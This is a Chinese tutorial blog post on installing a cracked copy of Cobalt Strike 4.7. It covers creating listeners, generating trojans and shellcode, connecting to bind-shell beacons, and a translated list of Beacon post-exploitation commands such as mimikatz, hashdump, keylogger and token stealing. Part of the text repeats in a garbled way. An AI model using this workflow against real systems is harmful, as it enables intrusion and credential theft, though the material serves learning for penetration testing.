连接时间设定,默认为1分钟一次,可以用 sleep 3 修改为3秒

Windows和Linux客户端,只要安装了Java,均可以运行

截图:与MSF相同

bind_tcp正向连接木马, 用 connect ip port 命令连接 (与MSF相同)

http的payload,用Wireshark抓包理解期规律 (与MSF相同)

Python shell code -> Python加载器:与MSF相同

文件浏览:(MeterPreter中的ls命令或dir命令)

键盘监听:与MSF相同

内网代理:与MSF相同

站点克隆:复制一个一模一样的网页,MSF无此功能

Script Web Delivery:发布一个网站页面

交互式命令:与Meterpreter中执行命令类似

插件加载:可以加载第三方插件,如Ladon等

木马生成:主要专注于Windows内网环境,MSF更广泛

其他更多功能,请探索

一.linux安装CS

把CS服务端程序上传到linux主机 ,并且解压缩 ,例如 :/opt/cobalt_strike_4.7_crack.zip

unzip cobalt_strike_4.7_crack.zip

运行CS服务 ,在CS的安装目录下:

./teamserver  ip   密码

ip : 当前主机的IP

密码 :客户端连接的时候的密码

例如 :./teamserver 192.168.12.129 123456

运行客户端 ,在CS的当前目录下 ,执行 start.sh:

image-20240409194318638

因为都在kali 上 ,所以ip 可以写 127.0.0.1

确认指纹,如果与服务器端不一致,则说明存在中间人攻击,可以不接受连接。

image-20240409194620796

确认之后 :

image-20240409194736284

windows启动客户端 ,把压缩包拷贝到windows目录中 ,解压缩 ,执行ddosi.org.bat 程序 。

image-20240409195136775

确认 :

image-20240409195150144

image-20240409195207801

二.生成木马
  1. 创建监听

打开“Cobalt Strike” -> “Listeners”,在下部窗口中点击“Add”添加一个新的监听器(类似于MSF中的 exploit/multi/handler 模块功能)。内部监听器主要是CS自行使用,外部监听器则是为了与MSF进行配合(以),所以可以暂时不用关心外部监听器。

image-20240409201241322

先创建一个HTTP的Beacon,为HTTP Host和TTP Stager配置相同的IP地址:192.168.12.129,端口和其他选项保持默认即可完成Beacon的创建。(HTTP Port(Bind)这一项是用于C2服务器的端口重定向),另外HTTPS的创建与HTTP除了加密之外,没有其他区别。

  1. 生成木马

    创建好HTTP Beacon后,在菜单“Payoads”下选择一个payload,比如“Windows Stager Payload”等,在弹窗中选择对应的Listener。

    image-20240409203218531

    image-20240409203416804

  2. 执行木马文件

    image-20240409203847356

    默认情况下,Beacon上线后,每60秒执行一次指令,如果要进行更快的操作,建议进入Interact命令行交互界面,运行命令“sleep 1"调整为每1秒钟执行一次指令连接。

  3. 右键功能

    木马在线后,右键点击目标主机,可以看到很多与Armitage和MSF类似的快捷功能。

    image-20240409205001944

  4. 插件安装

    把CS插件解压缩 :

    CS五大实用插件.rar

    每一个插件都有一个cna的文件 。

    选择 菜单 Cobail Strike -> Script Manager ->

    点击load菜单 ,选择插件的cna文件 。

    image-20240409205922309

    乱码解决方案 :

    打开启动程序 :ddosi.org.bat ,右键编辑 ,替换其中的内容 。

    java -Dfile.encoding=UTF-8  -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike-client.jar
    
  5. 命令行操作

    右键 -> interact

    image-20240409211036490

    Beacon Commands
    ===============
    
     Command                   Description
     -------                   -----------
     help                      帮助,不跟参数则查看所有命令,help command则查看该命令的用法
     argue                     进程参数欺骗
     blockdlls                 在子进程中阻止非Microsoft的DLLs文件
     browserpivot              注入受害者浏览器进程
     bypassuac                 绕过UAC
     cancel                    取消正在进行的下载
     cd                        切换目录
     checkin                   强制让被控端回连一次
     clear                     清除beacon内部的任务队列
     connect                   通过TCP连接到Beacon
     covertvpn                 部署Covert VPN客户端
     cp                        复制文件
     dcsync                    从DC中提取密码哈希
     desktop                   远程VNC
     dllinject                 反射DLL注入进程
     dllload                   使用LoadLibrary将DLL加载到进程中
     download                  下载文件
     downloads                 列出正在进行的文件下载
     drives                    列出目标盘符
     elevate                   尝试提权
     execute                   在目标上执行程序(无输出)
     execute-assembly          在目标上内存中执行本地.NET程序
     exit                      退出beacon
     getprivs                  对当前令牌启用系统权限
     getsystem                 尝试获取SYSTEM权限
     getuid                    获取用户ID
     hashdump                  转储密码哈希值
     inject                    在特定进程中生成会话
     jobkill                   杀死一个后台任务
     jobs                      列出后台任务
     kerberos_ccache_use       从ccache文件中导入票据应用于此会话
     kerberos_ticket_purge     清除当前会话的票据
     kerberos_ticket_use       从ticket文件中导入票据应用于此会话
     keylogger                 键盘记录,这是一个后台任务,在View菜单的KeyStrokes中查看
     kill                      结束进程
     link                      通过命名管道连接到Beacon
     logonpasswords            使用mimikatz转储凭据和哈希值
     ls                        列出文件
     make_token                创建令牌以传递凭据
     mimikatz                  运行mimikatz
     mkdir                     创建一个目录
     mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
     mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
     mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
     mode http                 使用HTTP作为通信通道
     mv                        移动文件
     net                       net命令
     note                      给当前目标机器备注       
     portscan                  进行端口扫描
     powerpick                 通过Unmanaged PowerShell执行命令
     powershell                通过powershell.exe执行命令
     powershell-import         导入powershell脚本
     ppid                      为生成的post-ex任务设置父PID
     ps                        显示进程列表
     psexec                    使用服务在主机上生成会话
     psexec_psh                使用PowerShell在主机上生成会话
     psinject                  在特定进程中执行PowerShell命令
     pth                       使用Mimikatz进行传递哈希
     pwd                       当前目录位置
     reg                       查询注册表
     rev2self                  恢复原始令牌
     rm                        删除文件或文件夹
     rportfwd                  端口转发
     run                       在目标上执行程序(返回输出)
     runas                     以另一个用户权限执行程序
     runasadmin                在高权限下执行程序
     runu                      在另一个PID下执行程序
     screenshot                屏幕截图
     setenv                    设置环境变量
     shell                     cmd执行命令,如shell ipconfig
     shinject                  将shellcode注入进程
     shspawn                   生成进程并将shellcode注入其中
     sleep                     设置睡眠延迟时间
     socks                     启动SOCKS4a/5代理
     socks stop                停止SOCKS4a/5代理
     spawn                     生成一个会话 
     spawnas                   以其他用户身份生成会话
     spawnto                   将可执行程序注入进程
     spawnu                    在另一个PID下生成会话
     ssh                       使用ssh连接远程主机
     ssh-key                   使用密钥连接远程主机
     steal_token               从进程中窃取令牌
     timestomp                 将一个文件时间戳应用到另一个文件
     unlink                    断开与Beacon的连接
     upload                    上传文件
     wdigest                   使用mimikatz转储明文凭据
     winrm                     使用WinRM在主机上生成会话
     wmi                       使用WMI在主机上生成会话
    
  6. 正向连接

    • 创建监听

      image-20240409211513621

    • 生成 payload

      image-20240409211552383

      image-20240409211637529

    • 连接

      运行木马程序 ,CS进入交互模式 执行

      connect 192.168.20.82 4445
      

      image-20240409212329939

  7. 生成shellcode(python)

    选择生成payload :

    image-20240409212657216

    image-20240409212727653

              使用密钥连接远程主机
    

    steal_token 从进程中窃取令牌
    timestomp 将一个文件时间戳应用到另一个文件
    unlink 断开与Beacon的连接
    upload 上传文件
    wdigest 使用mimikatz转储明文凭据
    winrm 使用WinRM在主机上生成会话
    wmi 使用WMI在主机上生成会话

  8. 正向连接

    • 创建监听

      [外链图片转存中…(img-ZrKdTk35-1713151147598)]

    • 生成 payload

      [外链图片转存中…(img-aDY3shGO-1713151147598)]

      [外链图片转存中…(img-XRq8SKdr-1713151147599)]

    • 连接

      运行木马程序 ,CS进入交互模式 执行

      connect 192.168.20.82 4445
      

      [外链图片转存中…(img-pkBNqxUS-1713151147599)]

  9. 生成shellcode(python)

    选择生成payload :

    [外链图片转存中…(img-dUmY7b1K-1713151147599)]

    [外链图片转存中…(img-PMSkJvMM-1713151147599)]

    操作和msf 的操作一样 。

  • 7
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值